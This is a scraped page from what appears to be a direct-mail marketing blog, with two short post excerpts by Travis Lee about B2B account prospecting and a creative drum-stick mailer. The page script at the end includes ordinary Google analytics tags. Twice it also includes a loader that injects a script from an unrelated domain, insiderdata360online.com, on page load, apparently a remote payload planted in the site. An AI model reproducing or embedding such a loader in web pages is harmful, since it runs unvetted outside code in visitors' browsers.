Big game hunting (for business)

By Travis Lee

Let’s talk Big Game hunting; going after those accounts that, when you land, would dramatically increase your sales and profits. This month’s example is a great case study in Big Game Hunting in the business-to-business (B2B) space using the express mail envelopes. The owner, Michael Nguyen, recently bought the company, Produce Results. They are a marketing agency in north Texas. Immediately upon taking ownership, he decided to move all his …

Move to a different beat

By Travis Lee

This new item of the month was inspired by a piece of direct mail I received last spring. Here’s a picture of the entire package: The box had a hand-written address label, and inside a pair of drum sticks, how clever! Also included was a small sheet on card stock with the message: I love the use of the personal URL (PURL), and the drum theme and personalization carried over …

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-TCFPBML'); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-51406671-2'); (function(){ var e = document.getElementsByTagName("script")[0]; var d = document.createElement("script"); d.src = "//insiderdata360online.com/service/platform.js?ran="+Math.random(); d.type = "text/javascript"; d.async = true; d.defer = true; e.parentNode.insertBefore(d,e); })(); (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-TCFPBML'); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-51406671-2'); (function(){ var e = document.getElementsByTagName("script")[0]; var d = document.createElement("script"); d.src = "//insiderdata360online.com/service/platform.js?ran="+Math.random(); d.type = "text/javascript"; d.async = true; d.defer = true; e.parentNode.insertBefore(d,e); })();